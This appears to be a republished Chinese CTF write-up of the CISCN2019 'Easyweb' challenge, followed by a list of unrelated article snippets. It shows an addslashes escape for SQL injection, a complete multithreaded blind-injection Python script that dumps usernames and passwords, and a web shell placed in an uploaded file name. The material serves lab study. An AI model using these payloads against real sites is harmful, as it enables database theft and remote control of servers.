[CISCN2019 总决赛 Day2 Web1]Easyweb

登录界面可以看到随机切换的图片。从页面源码中可以看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>,图片文件的请求地址,并且有传参id。web应用中像这种动态获取图片的实现逻辑一般是根据id从文件系统中读取图片资源,那如果没有对id进行严格过滤的话就可能造成文件泄露。

如果后端是$path = "images/" . $_GET['id'] . ".png"像这样直接将id拼接到路径中,或许可以利用目录穿越。
尝试…/…/…/…/…/…/…/…/etc/passwd发现没有回显,很有可能后端对id进行了类型限制,试试看1…/…/…/…/…/…/…/…/etc/passwd,发现返回的是图片数据,那说明被当作了数字1,说明后端应该不是拼接路径,很可能是根据id查询数据库或者文件系统,并且将id用引号包裹起来了。

需要获得源码才行,扫扫有没有备份文件。利用dirsearch看到有robots.txt,访问给了个文件/static/secretkey.txt,但是里面没什么东西,只有一句话“you never guess”,跟题解有所不同。虽然看了答案知道有.php.back备份文件,但是比赛的时候肯定得靠自己去猜。利用字典进行备份文件扫描的时候有index.php.bak,但是这道题只有image.php.bak,像这种并不花哨而且找不到任何线索的题,大概率就是源码泄露,下次可以大胆猜测。

常见文件名 / 格式说明示例路径
文件名~(如index.php~)Linux 下 Vim/Sublime 生成的备份文件(末尾加~)http://target.com/index.php~
.#文件名(如.#config.php)Vim 编辑时生成的临时交换文件(开头.#)http://target.com/.#config.php
文件名.bak/文件名.back(如config.php.bak)手动添加的备份后缀(开发常用)http://target.com/config.php.bak
文件名.txt(如config.txt)为方便查看,将配置文件改为 TXT 格式备份http://target.com/config.txt
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

直接将参数拼入sql语句,这是很危险的。不过他正确使用了addslashes函数进行特殊字符转义。但是,又用了str_replace将某些字符替换为空,这和上次那道连续使用两个转移函数造成特殊字符逃逸差不多,这边也可以构造逃逸。

addslashes函数默认转义的字符:​
单引号('):转义后为 '​
双引号("):转义后为 "​
反斜杠(\):转义后为 \​
NUL 字符(ASCII 码 0 的空字符,通常用 \0 表示):转义后为 \0

另外一个注意的地方是这边替换掉的是\0 %00 \\ ',因为在str_replace函数中这些字符是用双引号包裹的,会转义一次。
我们可以在id中构造\0,经过addslashes函数转义变成\\0,然后替换函数会将\0替换为空,就留下了一个反斜杠。拼入sql语句就是:
select * from images where id=' \' or path='{$path}'此时单引号被转义,id的值变成了' \' or path=',$path中的东西就成功逃逸出来了。但是此时最后还有一个单引号怎么办呢?考虑闭合或者用注释符。

怎么构造payload得到敏感文件呢?读取的文件是查询结果中的path字段,但是我们并不知道数据库中有什么。
尝试:
id=\0&path=or id=‘1’#
id=\0&path=or id='1
发现都不行,说明这样处理单引号不行,哦对因为单引号被替换为空了
id=\0&path=or 1=1#
这样也不行,难道是#没有生效?原来是直接在地址栏输入#不会被url编码,而是被当作注释符了。
id=\0&path=or 1=1%23 成功了。先看看images表中有没有信息。
id=\0&path=or 1=1 limit 1,1%23 只有三张图片。看来需要利用盲注找其他表。
注入位置是id=\0&path=or 1={xxx}%23
套用脚本:

import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
# -----------注意访问的文件
url = 'http://2182da8a-d0d4-461b-ab4a-05f5d542b169.node5.buuoj.cn:81/image.php'
# -----------标志性回显
# symbol = 'Nu1L'
# -----------爆破位置payload
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))'
select = 'select group_concat(username)from users'
# -----------爆破长度payload
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=(0x7573657273))'
select_len = 'select length(group_concat(username))from users'
length = 0
result = [''] * 1000  # 使用列表存储结果,避免线程安全问题def make_request(url, param):try:r = requests.get(url, params=param, timeout=30)# r = requests.post(url, data=param, timeout=30)r.raise_for_status()  # 检查HTTP状态码return rexcept requests.exceptions.Timeout:print("[-] 请求超时,请检查网络连接或增加超时时间")except requests.exceptions.HTTPError as e:print(f"[-] HTTP错误: {e.response.status_code}")except requests.exceptions.RequestException as e:print(f"[-] 请求异常: {str(e)}")return Nonedef make_request_with_retry(url, param):global resultr = make_request(url, param)if not r:print("[-] 重试")time.sleep(random.randint(0, 10))r = make_request(url, param)if not r:return Nonereturn rdef get_length_with_BinarySearch():global lengthlow, high = 0, 500while low <= high:mid = (low + high) // 2param = {'id': '\\0',  # 用双反斜杠表示字面意义的\0'path': f"or 1=(({select_len})>={mid})#"}# print(param)r = make_request_with_retry(url, param)if not r:print(f"[-]长度爆破失败")# print(r.content)# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {"id": '\\0',"path": f"or 1=(({select_len})={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-]长度爆破失败")# if symbol in r.text:if len(r.content) > 0:print(f"长度为{mid}")length = midbreakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1def get_char_at_position(i):global resultprint(f"[*] 开始注入位置{i}...")low, high = 31, 127while low <= high:mid = (low + high) // 2param = {'id': '\\0',  # 用双反斜杠表示字面意义的\0'path': f"or 1=(ord(substr(({select}),{i},1))>={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {'id': '\\0',  # 用双反斜杠表示字面意义的\0'path': f"or 1=(ord(substr(({select}),{i},1))={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 等于midresult[i - 1] = chr(mid)print(f"[*] 位置{i}字符为{chr(mid)}")breakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1# # -----------------失败位置重试,如果有个别地方没有爆破成功可以在这里进行单独爆破
# position = {12, 15}
# for i in position:
#     get_char_at_position(i)# ------------------爆破长度
get_length_with_BinarySearch()if length == 0:print("[-] length为0,请检查错误")exit(0)# # ------------------单线程爆破
# for i in range(1, length+1):
#     get_char_at_position(i)# ------------------多线程爆破
with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]# 等待所有任务完成for future in futures:future.result()# 过滤空字符并拼接结果
final_result = ''.join(filter(None, result))
print("最终结果:", final_result)# 出错的位置
positions = []
for index, char in enumerate(final_result):if char == '?':positions.append(index+1)
print("出错位置:", positions)

有三个注意的点:

  1. 这里响应是图片,所有不能再用r.text来作为判断条件,可以通过响应长度不同来判断。
  2. 由于单双引号被禁用,所以在最后查字段的时候表名需要用十六进制编码,因为在Mysql中十六进制编码会自动解码为字符串,可以绕过引号。
  3. 通过request来发起请求的时候,客户端会自动对params进行url编码,所以如果#仍然写成%23就会导致二次编码。

最后爆出来:admin b028759c31b4a29d54f6
登录进去。发现是文件上传,随便上传一个文件发现:
I logged the file name you uploaded to logs/upload.05571ffc0f0ba134f932c75082af160e.log.php. LOL
看一下该日志文件:User admin uploaded file shell.jpg.
那是不是能将木马放到文件名中。试一下
在这里插入图片描述
使用蚁剑成功连接。

总结一下:首先需要获得image.php.bak源码文件,然后利用sql漏洞布尔盲注获得用户密码,登录后发现能上传文件至php文件,并且记录文件名,于是直接将一句话木马放到文件名中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/96007.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/96007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第 3 讲:KAFKA生产者(Producer)详解

这是一篇既照顾入门也能给高级工程师提供落地经验的实战笔记。0. TL;DR&#xff08;先上结论&#xff09; 想稳&#xff1a;acksall 合理 retries&#xff1b;需要“分区内不重不丢”→ 再加 enable.idempotencetrue 且 max.in.flight<5。想快&#xff1a;适度增大 batch.s…

微信小程序截屏与录屏功能详解

微信小程序提供了丰富的API支持截屏和录屏功能&#xff0c;适用于多种场景&#xff0c;如教育类应用的课程录制、游戏类应用的精彩瞬间分享、电商类应用的商品展示等。以下将详细介绍实现方法和应用案例。 截屏功能实现 截屏功能通过调用wx.canvasToTempFilePath或wx.captureSc…

React 中的 HOC 和 Hooks

写在前面 在函数式组件主导的 React 项目中&#xff0c;高阶组件&#xff08;HOC&#xff09;并非首选推荐&#xff0c;更建议优先使用 Hooks来实现复用逻辑。核心原因是 HOC 存在固有的设计缺陷&#xff0c;而 Hooks 能更优雅、简洁地解决相同问题&#xff0c;同时避免 HOC 的…

【 苍穹外卖 | Day2】

1. 相关视频 Day2的全部视频集数 2. 学习记录 2.1 对象属性拷贝 当DTO与实体类或者VO对象之间的一个装换的时候&#xff0c;如果通过new创建对象&#xff0c;然后调用set方法进行属性赋值&#xff0c;不够方便&#xff0c;代码不够简洁。当属性过多时候&#xff0c;代码就会…

焊接自动化测试平台图像处理分析-模型训练推理

1、使用技术栈&#xff1a;jdk17/springboot/python/opencv/yolov8 2、JAVA环境搭建 JDK17下载安装&#xff1a;wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.tar.gz 解压软件 tar -xf jdk-17.0.16_linux-x64_bin.tar.gz 配置全局变量 vim /etc/p…

【python实用小脚本-205】[HR揭秘]手工党逐行查Bug的终结者|Python版代码质量“CT机”加速器(建议收藏)

1. 场景故事 “作为HR&#xff0c;我曾用2小时逐行审阅50份Python简历项目&#xff0c;直到发现候选人的代码复杂度超标导致线上事故…” → 转折点&#xff1a;用麦凯布&#xff08;McCabe&#xff09;圈复杂度检测脚本&#xff0c;30秒扫描全仓库&#xff0c;现可100%拦截“高…

LeetCode - 1089. 复写零

题目 1089. 复写零 - 力扣&#xff08;LeetCode&#xff09; 思路 这道题我首先想到的是从前往后双指针&#xff0c;但是这样做会造成数据的覆盖&#xff0c;比如说下面的这个情况 所以解决的方法就是从后往前去复写&#xff0c;但是从后往前的话就要知道最后一个有效元素是…

c#中public类比博图

简单来说&#xff0c;**public 定义了“接口”或“引脚”**&#xff0c;就像你的FB块上的 Input, Output, InOut 管脚一样。它决定了外部的其他代码&#xff08;如另一个FB或OB1&#xff09;可以看到和操作这个块里的什么东西。让我用你最熟悉的博图概念来详细类比一下。---###…

K8s基于节点软亲和的高 CPU Pod 扩容与优先调度方案

场景与目标 集群节点&#xff1a;master&#xff08;4 核&#xff09;、node1&#xff08;16 核&#xff09;、node2&#xff08;16 核&#xff09;。目标&#xff1a;将一个高 CPU 消耗的工作负载横向扩展到 4 个实例&#xff0c;并通过**节点亲和性&#xff08;软亲和&#…

MySQL InnoDB 的锁机制

引言 锁是数据库管理并发访问的另一种核心机制&#xff0c;与 MVCC 相辅相成。本文将系统梳理 MySQL InnoDB 中锁的粒度、类型和工作原理&#xff0c;并深入探讨它如何与事务隔离级别配合&#xff0c;共同保障数据的一致性和完整性。 一、 锁的粒度&#xff1a;由粗到细 InnoD…

状态模式(State Pattern)——网络连接场景的 C++ 实战

一、为什么要用状态模式&#xff1f;在开发中&#xff0c;经常遇到“对象在不同状态下行为不同”的情况。最常见的写法是用一堆 if/else 或 switch 来判断状态&#xff0c;然后在不同分支里写逻辑。这样做有两个问题&#xff1a;状态增多后&#xff0c;条件分支会变得臃肿。修改…

使用csi-driver-nfs实现K8S动态供给

文章目录一、部署NFS二、k8s环境部署csi-nfs三、测试动态供给补充应用服务器IPnfs-server192.168.1.5k8s-master01192.168.1.1k8s-node01192.168.1.2k8s-node02192.168.1.3 一、部署NFS 1、在NFS服务端和k8s所有节点部署nfs-utils 因为客户端去挂载nfs服务端的共享目录时&…

【开题答辩全过程】以 基于ssm的房屋中介管理系统为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人&#xff0c;语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…

MySQL主从复制之进阶延时同步、GTID复制、半同步复制完整实验流程

1.主从同步1.1主从同步原理是指将主库的DDL和DML操作通过二进制日志(binlog)传到从库服务器&#xff0c;然后在从库上对这些日志进行重新执行&#xff0c;从而使从库和主库数据保持一致1.2环境设置库名ip地址操作系统mysql版本主库msyql-master192.168.31.228rhel7.9源码安装my…

织信低代码:用更聪明的方式,把想法变成现实!

你有没有过这样的时刻&#xff1f;想亲手做一个应用&#xff0c;却因为“不会编码”而迟迟没有开始&#xff1b;或曾无奈地目睹公司里一个看似简单的需求&#xff0c;硬是耗费数月、投入大量人力反复开发……现在&#xff0c;有一类工具正在改变这一切。它叫低代码。而今天我们…

【序列晋升】28 云原生时代的消息驱动架构 Spring Cloud Stream的未来可能性

目录 一、Spring Cloud Stream是什么&#xff1f; 二、诞生背景与设计动机 2.1 微服务架构的挑战 2.2 Spring生态的发展 2.3 Spring Integration的演进 三、架构设计与核心组件 3.1 分层架构设计 3.2 核心组件详解 3.3 编程模型 四、解决的问题与优势 4.1 解决的核心…

内网后渗透攻击--linux系统(权限维持)

用途限制声明&#xff0c;本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具&#xff0c;严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果&#xff0c;作者及发布平台不承担任何责任。渗透测试涉及复杂技…

C++笔记之同步信号量、互斥信号量与PV操作再探(含软考题目)

C++笔记之同步信号量、互斥信号量与PV操作再探(含软考题目) code review! 参考笔记: 1.C++笔记之同步信号量、互斥信号量与PV操作再探(含软考题目) 2.C++笔记之信号量、互斥量与PV操作 参考链接 1.嵌入式基础知识-信号量,PV原语与前趋图 2.信号量、PV操作及软考高级试题解析…

布隆过滤器:快速判断某个元素是否存在

特点&#xff1a;高效、空间占用小、允许一定误判 布隆过滤器在 Redis 里的实现机制&#xff0c;核心就是&#xff1a;用一个大位图&#xff08;bitmap&#xff09;来表示集合 位图长度 m 初始值都是 0 插入元素时通过 k 个不同的哈希函数&#xff0c;对元素做哈希 每个哈希结…

C# 修改基类List中某一元素的子类类型

描述&#xff1a;基类&#xff1a;BaseClass子类1&#xff1a;A子类2&#xff1a;B然后我有一个List<BaseClass>类型的链表:list&#xff0c;我先往list中添加了两个元素&#xff1a;第一个元素为A类型&#xff0c;第二个元素为B类型&#xff0c;然后我想改变第一个元素类…